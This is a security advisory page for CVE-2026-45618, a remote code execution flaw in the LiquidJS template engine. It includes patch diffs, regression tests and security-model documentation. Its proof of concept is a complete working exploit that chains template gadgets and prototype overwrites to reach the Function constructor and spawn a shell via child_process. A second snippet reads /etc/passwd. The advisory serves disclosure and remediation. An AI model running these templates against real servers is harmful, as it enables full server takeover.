VYPR
Critical severity10.0GHSA Advisory· Published May 27, 2026· Updated May 27, 2026

LiquidJS is Vulnerable to Remote Code Execution

CVE-2026-45618

Description

Summary

It is possible to execute arbitrary code with crafted templates

Details

1|valueOf -> this when evaluating the filter

{%assign r=1|valueOf%}
{{r|inspect}}
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}

function calls with a controlled first argument via comprable

import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}

${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}

{{m == "/etc/passwd"}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

changing the prototype of things

import { Liquid } from "liquidjs";

const engine = new Liquid();

engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}

{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

  private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
    const filepath = yield this.loader.lookup(file, type, sync, currentFile)
    return this.parse(yield this.readFile(!!sync, filepath), filepath)
  }

### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._

import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}

${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}

${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}

{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}

{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}

{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")} 

{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}

{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

### Impact _What kind of vulnerability is it? Who is impacted?_ Remote Code Execution.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

A critical vulnerability in liquidjs allows remote code execution via crafted templates using the `valueOf` filter to access internal context.

Vulnerability

The vulnerability resides in liquidjs, a Liquid template engine. The valueOf filter, when applied to a number (e.g., 1|valueOf), returns the internal context object (this). This exposes the entire rendering context, including properties like globals, opts, and the liquid object, which can be leveraged to execute arbitrary code. All versions prior to 10.26.0 are affected [1][2].

Exploitation

An attacker needs the ability to supply or control a Liquid template that is rendered by the application. No authentication is required if the template is user-controllable. The attacker crafts a template using {% assign r = 1|valueOf %} to obtain the context, then uses further filters or tags to access properties such as r.liquid.renderer or r.globals to execute arbitrary JavaScript code. The exact sequence involves chaining filters to reach a callable function [1][2].

Impact

Successful exploitation allows arbitrary code execution in the context of the application server. The attacker gains full control over the server, enabling data exfiltration, modification, or lateral movement. The impact is critical due to the potential for complete compromise [1][2].

Mitigation

The vulnerability is fixed in liquidjs version 10.26.0, released on 2026-05-14 [3]. Users should upgrade immediately. The fix blocks Object.prototype filter/tag lookups. No workaround is available. The CVE is not listed in KEV as of publication [1][2][3].

AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

1

Patches

6
457fae0736c3

fix(security): block Object.prototype filter/tag lookups (RCE) (#897)

https://github.com/harttle/liquidjsYang JunMay 14, 2026Fixed in 10.26.0via llm-release-walk
5 files changed · +42 4
  • docs/source/tutorials/security-model.md+14 1 modified
    @@ -2,7 +2,7 @@
     title: Security Model
     ---
     
    -LiquidJS provides DoS-oriented limits (`parseLimit`, `renderLimit`, `memoryLimit`) to reduce risk. This page explains what each limit protects, and the security boundary you should assume in production.
    +LiquidJS provides DoS-oriented limits (`parseLimit`, `renderLimit`, `memoryLimit`) to reduce risk. This page summarizes those limits, [`ownPropertyOnly`][ownPropertyOnly], custom [`Drop`][drop] usage, and the security boundary to assume in production.
     
     ## Security boundary
     
    @@ -60,6 +60,14 @@ Even with small number of templates and iterations, memory usage can grow expone
     
     As [JavaScript uses GC to manage memory](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management), `memoryLimit` may not reflect the actual memory footprint.
     
    +## `ownPropertyOnly` and scope data
    +
    +With [`ownPropertyOnly`][ownPropertyOnly] `true`, plain scope objects only expose **own** properties (no inherited / `Object.prototype` keys). Default `false` follows normal JS property access. Use `true` for untrusted or polluted objects; add [`strictVariables`][strictVariables] if missing paths should error. Override per render via [`RenderOptions`][renderOwnPropertyOnly]. This is a read policy for scope data—not a sandbox for filters, tags, or your code.
    +
    +## Custom `Drop` classes
    +
    +[`Drop`][drop] values are not restricted the same way: LiquidJS still reads the prototype chain and may call [`liquidMethodMissing`][liquidMethodMissing]. **You** control what a drop exposes; narrow APIs and never feed unsafe data into drops unless the class is built for template access. `ownPropertyOnly` alone does not harden custom drops—audit them like any privileged code.
    +
     ## Online service guidance
     
     If you run an online service, avoid rendering fully user-defined templates whenever possible.
    @@ -74,3 +82,8 @@ For heavy single-template operations, process-level isolation is still recommend
     [parseLimit]: /api/interfaces/LiquidOptions.html#parseLimit
     [renderLimit]: /api/interfaces/LiquidOptions.html#renderLimit
     [memoryLimit]: /api/interfaces/LiquidOptions.html#memoryLimit
    +[ownPropertyOnly]: /api/interfaces/LiquidOptions.html#ownPropertyOnly
    +[renderOwnPropertyOnly]: /api/interfaces/RenderOptions.html#ownPropertyOnly
    +[strictVariables]: /api/interfaces/LiquidOptions.html#strictVariables
    +[drop]: /api/classes/Drop.html
    +[liquidMethodMissing]: /api/classes/Drop.html#liquidMethodMissing
    
  • docs/source/zh-cn/tutorials/security-model.md+14 1 modified
    @@ -2,7 +2,7 @@
     title: 安全模型
     ---
     
    -LiquidJS 提供了面向 DoS 的限制选项(`parseLimit`、`renderLimit`、`memoryLimit`)来降低风险。本文按统一结构说明每个限制的作用范围,以及你在生产环境应采用的安全边界。
    +LiquidJS 提供了面向 DoS 的限制选项(`parseLimit`、`renderLimit`、`memoryLimit`)来降低风险。本文概述这些限制、[`ownPropertyOnly`][ownPropertyOnly]、自定义 [`Drop`][drop] 的注意事项,以及生产环境应采用的安全边界。
     
     ## 安全边界
     
    @@ -60,6 +60,14 @@ LiquidJS 提供了面向 DoS 的限制选项(`parseLimit`、`renderLimit`、`m
     
     由于 [JavaScript 使用 GC 来管理内存](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management),`memoryLimit` 可能无法反映实际的内存占用。
     
    +## `ownPropertyOnly` 与作用域数据
    +
    +将 [`ownPropertyOnly`][ownPropertyOnly] 设为 `true` 时,普通作用域对象只暴露**自有**属性(不包含继承链与 `Object.prototype` 上的键)。默认 `false` 与常规 JavaScript 属性访问一致。对不可信或可能被污染的对象应使用 `true`;若缺少路径需报错,可配合 [`strictVariables`][strictVariables]。单次渲染可通过 [`RenderOptions`][renderOwnPropertyOnly] 覆盖。该选项只约束作用域数据的读取,不是过滤器、标签或宿主代码的沙箱。
    +
    +## 自定义 `Drop` 类
    +
    +[`Drop`][drop] 与普通对象处理不同:即使开启 [`ownPropertyOnly`][ownPropertyOnly],LiquidJS 仍可能沿原型链读取属性,并在未解析时调用 [`liquidMethodMissing`][liquidMethodMissing]。**你**对 Drop 暴露的能力负责:收窄 API,勿向 Drop 传入不安全数据,除非该类明确为模板访问而设计。仅靠 `ownPropertyOnly` 无法硬化自定义 Drop,应像审计其他特权代码一样审查其实现。
    +
     ## 在线服务建议
     
     如果你运行在线服务,建议尽量避免渲染完全由用户定义的模板。
    @@ -74,3 +82,8 @@ LiquidJS 提供了面向 DoS 的限制选项(`parseLimit`、`renderLimit`、`m
     [parseLimit]: /api/interfaces/LiquidOptions.html#parseLimit
     [renderLimit]: /api/interfaces/LiquidOptions.html#renderLimit
     [memoryLimit]: /api/interfaces/LiquidOptions.html#memoryLimit
    +[ownPropertyOnly]: /api/interfaces/LiquidOptions.html#ownPropertyOnly
    +[renderOwnPropertyOnly]: /api/interfaces/RenderOptions.html#ownPropertyOnly
    +[strictVariables]: /api/interfaces/LiquidOptions.html#strictVariables
    +[drop]: /api/classes/Drop.html
    +[liquidMethodMissing]: /api/classes/Drop.html#liquidMethodMissing
    
  • src/liquid.ts+2 2 modified
    @@ -15,8 +15,8 @@ export class Liquid {
        * @deprecated will be removed. In tags use `this.parser` instead
        */
       public readonly parser: Parser
    -  public readonly filters: Record<string, FilterImplOptions> = {}
    -  public readonly tags: Record<string, TagClass> = {}
    +  public readonly filters: Record<string, FilterImplOptions> = Object.create(null)
    +  public readonly tags: Record<string, TagClass> = Object.create(null)
     
       public constructor (opts: LiquidOptions = {}) {
         this.options = normalize(opts)
    
  • test/integration/liquid/register-filters.spec.ts+6 0 modified
    @@ -60,4 +60,10 @@ describe('liquid#registerFilter()', function () {
           return expect(html).toBe(dst)
         })
       })
    +
    +  it('should not treat Object.prototype names as registered filters', async () => {
    +    expect(Object.getPrototypeOf(liquid.filters)).toBeNull()
    +    await expect(liquid.parseAndRender('{{ x | constructor }}', { x: 42 })).resolves.toBe('42')
    +    await expect(new Liquid({ strictFilters: true }).parseAndRender('{{ 1 | constructor }}')).rejects.toThrow('undefined filter')
    +  })
     })
    
  • test/integration/liquid/register-tags.spec.ts+6 0 modified
    @@ -38,4 +38,10 @@ describe('liquid#registerTag()', function () {
         })
         return expect(html).toBe('ABC')
       })
    +
    +  it('should not treat Object.prototype names as registered tags', () => {
    +    const l = new Liquid()
    +    expect(Object.getPrototypeOf(l.tags)).toBeNull()
    +    expect(() => l.parse('{% constructor %}')).toThrow('tag "constructor" not found')
    +  })
     })
    
dbbf62880305

fix: propagate ownPropertyOnly into Context.spawn() for {% render %} (#893)

https://github.com/harttle/liquidjsYang JunMay 3, 2026Fixed in 10.26.0via llm-release-walk
2 files changed · +23 1
  • src/context/context.ts+2 1 modified
    @@ -106,7 +106,8 @@ export class Context {
         return new Context(scope, this.opts, {
           sync: this.sync,
           globals: this.globals,
    -      strictVariables: this.strictVariables
    +      strictVariables: this.strictVariables,
    +      ownPropertyOnly: this.ownPropertyOnly
         }, {
           renderLimit: this.renderLimit,
           memoryLimit: this.memoryLimit
    
  • test/integration/tags/render.spec.ts+21 0 modified
    @@ -271,6 +271,27 @@ describe('tags/render', function () {
         return expect(staticLiquid.renderFile('parent.html')).rejects.toThrow(/Failed to lookup "..\/bar\/child.html"/)
       })
     
    +  describe('per-render ownPropertyOnly', function () {
    +    it('should propagate to {% render %} partial (spawned context)', async function () {
    +      mock({
    +        '/_user.liquid': '{{ user.passwordHash }}'
    +      })
    +      const engine = new Liquid({ ownPropertyOnly: false, root: '/' })
    +      class User {
    +        name: string
    +        constructor (n: string) {
    +          this.name = n
    +        }
    +      }
    +      Object.assign(User.prototype, { passwordHash: 'secret-from-prototype' })
    +      const u = new User('alice')
    +      const tpl = 'Direct:[{{ user.passwordHash }}] Render:[{% render "_user.liquid", user: user %}]'
    +      const html = await engine.parseAndRender(tpl, { user: u }, { ownPropertyOnly: true })
    +      expect(html).toBe('Direct:[] Render:[]')
    +      expect(engine.parseAndRenderSync(tpl, { user: u }, { ownPropertyOnly: true })).toBe('Direct:[] Render:[]')
    +    })
    +  })
    +
       describe('static partial', function () {
         let staticLiquid: Liquid
         beforeEach(() => {
    
3616a744b9ab

fix(strip_html): rewrite as linear single-pass scan to avoid ReDoS (#896)

https://github.com/harttle/liquidjsYang JunMay 11, 2026Fixed in 10.26.0via ghsa-release-walk
3 files changed · +46 1
  • src/filters/html.ts+18 1 modified
    @@ -42,8 +42,25 @@ export function newline_to_br (this: FilterImpl, v: string) {
       return str.replace(/\r?\n/gm, '<br />\n')
     }
     
    +// Raw-text blocks (HTML5) plus '<...>' as the catch-all kind; a regex
    +// equivalent is O(n^2) in V8 on unclosed openers.
     export function strip_html (this: FilterImpl, v: string) {
       const str = stringify(v)
       this.context.memoryLimit.use(str.length)
    -  return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<[\s\S]*?>|<!--[\s\S]*?-->/g, '')
    +  const blocks = new Map([['<script', '</script>'], ['<style', '</style>'], ['<!--', '-->'], ['<', '>']])
    +  let out = ''
    +  let i = 0
    +  while (i < str.length) {
    +    const lt = str.indexOf('<', i)
    +    if (lt < 0) return out + str.slice(i)
    +    out += str.slice(i, lt)
    +    for (const [opener, closer] of blocks) {
    +      if (!str.startsWith(opener, lt)) continue
    +      const e = str.indexOf(closer, lt + opener.length)
    +      if (e >= 0) { i = e + closer.length; break }
    +      blocks.delete(opener)
    +    }
    +    if (i === lt) return out + str.slice(lt)
    +  }
    +  return out
     }
    
  • test/integration/filters/html.spec.ts+3 0 modified
    @@ -57,6 +57,9 @@ describe('filters/html', function () {
         it('should strip multiline comments', function () {
           expect(liquid.parseAndRenderSync('{{"<!--foo\r\nbar \ncoo\t  \r\n  -->"|strip_html}}')).toBe('')
         })
    +    it('should treat > inside comments as comment content (not a tag end)', function () {
    +      expect(liquid.parseAndRenderSync('{{ "<!-- a > b -->after" | strip_html }}')).toBe('after')
    +    })
         it('should strip all style tags and their contents', function () {
           return test('{{ "<style>cite { font-style: italic; }</style><cite>Ulysses<cite>?" | strip_html }}',
             'Ulysses?')
    
  • test/integration/liquid/dos.spec.ts+25 0 modified
    @@ -79,5 +79,30 @@ describe('DoS related', function () {
           await expect(liquid.parseAndRender(src, { array, count: 3 })).resolves.toBe('a a a a a a a a')
           await expect(liquid.parseAndRender(src, { array, count: 100 })).rejects.toThrow('memory alloc limit exceeded, line:1, col:26')
         })
    +    it('should charge strip_html input length to memoryLimit', () => {
    +      const liquid = new Liquid({ memoryLimit: 100 })
    +      expect(() => liquid.parseAndRenderSync('{{ s | strip_html }}', { s: 'a'.repeat(200) }))
    +        .toThrow('memory alloc limit exceeded')
    +    })
    +  })
    +  describe('strip_html ReDoS', () => {
    +    // Regression for O(n^2) backtracking on unclosed `<script` / `<style` openers.
    +    // The previous regex stalled the event loop for ~10s on 350KB of `'<script'.repeat`.
    +    // The per-test timeout below caps total time; an O(n^2) regression would blow it.
    +    it('should handle many unclosed <script openers in linear time', () => {
    +      const liquid = new Liquid()
    +      const payload = '<script'.repeat(50000)
    +      expect(liquid.parseAndRenderSync('{{ x | strip_html }}', { x: payload })).toBe(payload)
    +    }, 1000)
    +    it('should handle many unclosed <style openers in linear time', () => {
    +      const liquid = new Liquid()
    +      const payload = '<style'.repeat(50000)
    +      expect(liquid.parseAndRenderSync('{{ x | strip_html }}', { x: payload })).toBe(payload)
    +    }, 1000)
    +    it('should handle <script openers that have > but no </script> in linear time', () => {
    +      const liquid = new Liquid()
    +      const payload = '<script>foo'.repeat(50000)
    +      expect(liquid.parseAndRenderSync('{{ x | strip_html }}', { x: payload })).toBe('foo'.repeat(50000))
    +    }, 1000)
       })
     })
    
3129d46dc95e

fix(date): cap strftime widths and account padding in memoryLimit (#895)

https://github.com/harttle/liquidjsYang JunMay 10, 2026Fixed in 10.26.0via ghsa-release-walk
11 files changed · +200 127
  • docs/source/_data/sidebar.yml+1 1 modified
    @@ -19,7 +19,7 @@ tutorials:
         plugins: plugins.html
         operators: operators.html
         truth: truthy-and-falsy.html
    -    dos: dos.html
    +    security_model: security-model.html
         static_analysis: static-analysis.html
       miscellaneous:
         migration9: migrate-to-9.html
    
  • docs/source/tutorials/dos.md+0 57 removed
    @@ -1,57 +0,0 @@
    ----
    -title: DoS Prevention
    ----
    -
    -When the template or data context cannot be trusted, enabling DoS prevention options is crucial. LiquidJS provides 3 options for this purpose: `parseLimit`, `renderLimit`, and `memoryLimit`.
    -
    -## TL;DR
    -
    -Setting these options can largely ensure that your LiquidJS instance won't hang for extended periods or consume excessive memory. These limits are based on the available JavaScript APIs, so they are not precise hard limits but thresholds to help prevent your process from failing or hanging.
    -
    -```typescript
    -const liquid = new Liquid({
    -    parseLimit: 1e8, // typical size of your templates in each render
    -    renderLimit: 1000, // limit each render to be completed in 1s
    -    memoryLimit: 1e9, // memory available for LiquidJS (1e9 for 1GB)
    -})
    -```
    -
    -When a `parse()` or `render()` cannot be completed within given resource, it throws.
    -
    -## parseLimit
    -
    -[parseLimit][parseLimit] restricts the size (character length) of templates parsed in each `.parse()` call, including referenced partials and layouts. Since LiquidJS parses template strings in near O(n) time, limiting total template length is usually sufficient.
    -
    -A typical PC handles `1e8` (100M) characters without issues.
    -
    -## renderLimit
    -
    -Restricting template size alone is insufficient because dynamic loops with large counts can occur in render time. [renderLimit][renderLimit] mitigates this by limiting the time consumed by each `render()` call.
    -
    -```liquid
    -{%- for i in (1..10000000) -%}
    -    order: {{i}}
    -{%- endfor -%}
    -```
    -
    -Render time is checked on a per-template basis (before rendering each template). In the above example, there are 2 templates in the loop: `order: ` and `{{i}}`, render time will be checked 10000000x2 times.
    -
    -For time-consuming tags and filters within a single template, the process can still hang. For fully controlled rendering, consider using a process manager like [paralleljs][paralleljs].
    -
    -## memoryLimit
    -
    -Even with small number of templates and iterations, memory usage can grow exponentially. In the following example, memory doubles with each iteration:
    -
    -```liquid
    -{% assign array = "1,2,3" | split: "," %}
    -{% for i in (1..32) %}
    -    {% assign array = array | concat: array %}
    -{% endfor %}
    -```
    -
    -[memoryLimit][memoryLimit] restricts memory-sensitive filters to prevent excessive memory allocation. As [JavaScript uses GC to manage memory](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management), `memoryLimit` limits only the total number of objects allocated by memory sensitive filters in LiquidJS thus may not reflect the actual memory footprint.
    -
    -[paralleljs]: https://www.npmjs.com/package/paralleljs
    -[parseLimit]: /api/interfaces/LiquidOptions.html#parseLimit
    -[renderLimit]: /api/interfaces/LiquidOptions.html#renderLimit
    -[memoryLimit]: /api/interfaces/LiquidOptions.html#memoryLimit
    \ No newline at end of file
    
  • docs/source/tutorials/security-model.md+76 0 added
    @@ -0,0 +1,76 @@
    +---
    +title: Security Model
    +---
    +
    +LiquidJS provides DoS-oriented limits (`parseLimit`, `renderLimit`, `memoryLimit`) to reduce risk. This page explains what each limit protects, and the security boundary you should assume in production.
    +
    +## Security boundary
    +
    +The built-in limits are cooperative safeguards, not strict runtime isolation.
    +
    +- They do **not** equal process RSS/heap usage.
    +- They do **not** sandbox JavaScript execution.
    +- They should be combined with process/container limits and request timeouts for defense in depth.
    +
    +## Limits at a glance
    +
    +- [parseLimit][parseLimit]: limit total template size per `parse()` call.
    +- [renderLimit][renderLimit]: limit total render time per `render()` call.
    +- [memoryLimit][memoryLimit]: cooperatively limit memory-sensitive allocations counted by LiquidJS.
    +
    +## Limit details
    +
    +### parseLimit
    +
    +[parseLimit][parseLimit] restricts the size (character length) of templates parsed in each `.parse()` call, including referenced partials and layouts. Since LiquidJS parses template strings in near O(n) time, limiting total template length is usually sufficient.
    +
    +A typical PC handles `1e8` (100M) characters without issues.
    +
    +### renderLimit
    +
    +Restricting template size alone is insufficient because dynamic loops with large counts can occur in render time. [renderLimit][renderLimit] mitigates this by limiting the time consumed by each `render()` call.
    +
    +```liquid
    +{%- for i in (1..10000000) -%}
    +    order: {{i}}
    +{%- endfor -%}
    +```
    +
    +Render time is checked on a per-template basis (before rendering each template). In the above example, there are 2 templates in the loop: `order: ` and `{{i}}`, render time will be checked 10000000x2 times.
    +
    +`renderLimit` is not a hard CPU limiter. It is checked between template renders, so compute-intensive filters/tags/user-defined functions or deeply nested template execution between checks can still cause DoS.
    +
    +### memoryLimit
    +
    +`memoryLimit` only limits operations that LiquidJS explicitly counts.
    +
    +- Counted: memory-sensitive LiquidJS operations that call internal memory accounting.
    +- Not guaranteed counted: arbitrary user object behavior such as custom `toValue()`/`toString()` chains, or other host-side code that allocates outside LiquidJS accounting points.
    +
    +In other words, `memoryLimit` limits what LiquidJS counts, not every byte your process may allocate.
    +
    +Even with small number of templates and iterations, memory usage can grow exponentially. In the following example, memory doubles with each iteration:
    +
    +```liquid
    +{% assign array = "1,2,3" | split: "," %}
    +{% for i in (1..32) %}
    +    {% assign array = array | concat: array %}
    +{% endfor %}
    +```
    +
    +As [JavaScript uses GC to manage memory](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management), `memoryLimit` may not reflect the actual memory footprint.
    +
    +## Online service guidance
    +
    +If you run an online service, avoid rendering fully user-defined templates whenever possible.
    +
    +- Prefer curated templates or a restricted template subset.
    +- If user-defined templates are required, isolate rendering (worker/process/container), enforce OS/container memory and CPU limits, and apply request rate limits.
    +- Treat `parseLimit`/`renderLimit`/`memoryLimit` as one layer in a broader DoS defense strategy.
    +
    +For heavy single-template operations, process-level isolation is still recommended (for example with [paralleljs][paralleljs]).
    +
    +[paralleljs]: https://www.npmjs.com/package/paralleljs
    +[parseLimit]: /api/interfaces/LiquidOptions.html#parseLimit
    +[renderLimit]: /api/interfaces/LiquidOptions.html#renderLimit
    +[memoryLimit]: /api/interfaces/LiquidOptions.html#memoryLimit
    
  • docs/source/zh-cn/tutorials/dos.md+0 55 removed
    @@ -1,55 +0,0 @@
    ----
    -title: 防止 DoS 攻击
    ----
    -
    -当模板或数据上下文不可信时,启用DoS预防选项至关重要。LiquidJS 提供了三个选项用于此目的:`parseLimit`、`renderLimit` 和 `memoryLimit`。
    -
    -## TL;DR
    -
    -设置这些选项可以在很大程度上确保你的 LiquidJS 实例不会长时间挂起或消耗过多内存。这些限制基于可用的 JavaScript API,因此它们不是精确的硬性限制,而是确保你的进程不会失败或挂起的阈值。
    -
    -```typescript
    -const liquid = new Liquid({
    -    parseLimit: 1e8, // 每次渲染的模板的典型大小
    -    renderLimit: 1000, // 每次渲染最多 1s
    -    memoryLimit: 1e9, // LiquidJS 可用的内存(1e9 对应 1GB)
    -})
    -```
    -
    -## parseLimit
    -
    -[parseLimit][parseLimit] 限制每次 `.parse()` 调用中解析的模板大小(字符长度),包括引用的 partials 和 layouts。由于 LiquidJS 解析模板字符串的时间复杂度接近 O(n),限制模板总长度通常就足够了。
    -
    -普通电脑可以很容易处理 `1e8`(100M)个字符的模板。
    -
    -## renderLimit
    -
    -仅限制模板大小是不够的,因为在渲染时可能会出现动态的数组和循环。[renderLimit][renderLimit] 通过限制每次 `render()` 调用的时间来缓解这些问题。
    -
    -```liquid
    -{%- for i in (1..10000000) -%}
    -    order: {{i}}
    -{%- endfor -%}
    -```
    -
    -渲染时间是在渲染每个模板之前检查的。在上面的例子中,循环中有两个模板:`order: ` 和 `{{i}}`,因此会检查 2x10000000 次。
    -
    -单个模板内的标签和过滤器仍然可能把进程挂起。要完全控制渲染过程,建议使用类似 [paralleljs][paralleljs] 的进程管理器。
    -
    -## memoryLimit
    -
    -即使模板和迭代次数较少,内存使用量也可能呈指数增长。在下面的示例中,内存会在每次迭代中翻倍:
    -
    -```liquid
    -{% assign array = "1,2,3" | split: "," %}
    -{% for i in (1..32) %}
    -    {% assign array = array | concat: array %}
    -{% endfor %}
    -```
    -
    -[memoryLimit][memoryLimit] 限制内存敏感的过滤器,以防止过度的内存分配。由于 [JavaScript 使用 GC 来管理内存](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management),`memoryLimit` 仅限制 LiquidJS 中内存敏感过滤器分配的对象总数,因此可能无法反映实际的内存占用。
    -
    -[paralleljs]: https://www.npmjs.com/package/paralleljs
    -[parseLimit]: /api/interfaces/LiquidOptions.html#parseLimit
    -[renderLimit]: /api/interfaces/LiquidOptions.html#renderLimit
    -[memoryLimit]: /api/interfaces/LiquidOptions.html#memoryLimit
    \ No newline at end of file
    
  • docs/source/zh-cn/tutorials/security-model.md+76 0 added
    @@ -0,0 +1,76 @@
    +---
    +title: 安全模型
    +---
    +
    +LiquidJS 提供了面向 DoS 的限制选项(`parseLimit`、`renderLimit`、`memoryLimit`)来降低风险。本文按统一结构说明每个限制的作用范围,以及你在生产环境应采用的安全边界。
    +
    +## 安全边界
    +
    +内置限制是协作式防护,不是严格的运行时隔离。
    +
    +- 它**不等于**进程的 RSS/heap 实际占用。
    +- 它**不是** JavaScript 沙箱。
    +- 在生产环境中应结合进程/容器资源限制和请求超时做分层防护。
    +
    +## 限制速览
    +
    +- [parseLimit][parseLimit]:限制每次 `parse()` 的模板总长度。
    +- [renderLimit][renderLimit]:限制每次 `render()` 的总渲染时间。
    +- [memoryLimit][memoryLimit]:协作式限制 LiquidJS 已记账的内存敏感分配。
    +
    +## 限制详解
    +
    +### parseLimit
    +
    +[parseLimit][parseLimit] 限制每次 `.parse()` 调用中解析的模板大小(字符长度),包括引用的 partials 和 layouts。由于 LiquidJS 解析模板字符串的时间复杂度接近 O(n),限制模板总长度通常就足够了。
    +
    +普通电脑可以很容易处理 `1e8`(100M)个字符的模板。
    +
    +### renderLimit
    +
    +仅限制模板大小是不够的,因为在渲染时可能会出现动态的数组和循环。[renderLimit][renderLimit] 通过限制每次 `render()` 调用的时间来缓解这些问题。
    +
    +```liquid
    +{%- for i in (1..10000000) -%}
    +    order: {{i}}
    +{%- endfor -%}
    +```
    +
    +渲染时间是在渲染每个模板之前检查的。在上面的例子中,循环中有两个模板:`order: ` 和 `{{i}}`,因此会检查 2x10000000 次。
    +
    +`renderLimit` 不是硬性的 CPU 限制器。它是在模板渲染边界做检查,因此检查点之间的高计算开销过滤器/标签/用户自定义函数,或深层模板嵌套,仍可能导致 DoS。
    +
    +### memoryLimit
    +
    +`memoryLimit` 只限制 LiquidJS 显式记账到的操作。
    +
    +- 会被统计:LiquidJS 内部调用了内存记账逻辑的内存敏感操作。
    +- 不保证被统计:任意用户对象行为(例如自定义 `toValue()` / `toString()` 链)以及其他发生在 LiquidJS 记账点之外的宿主侧分配。
    +
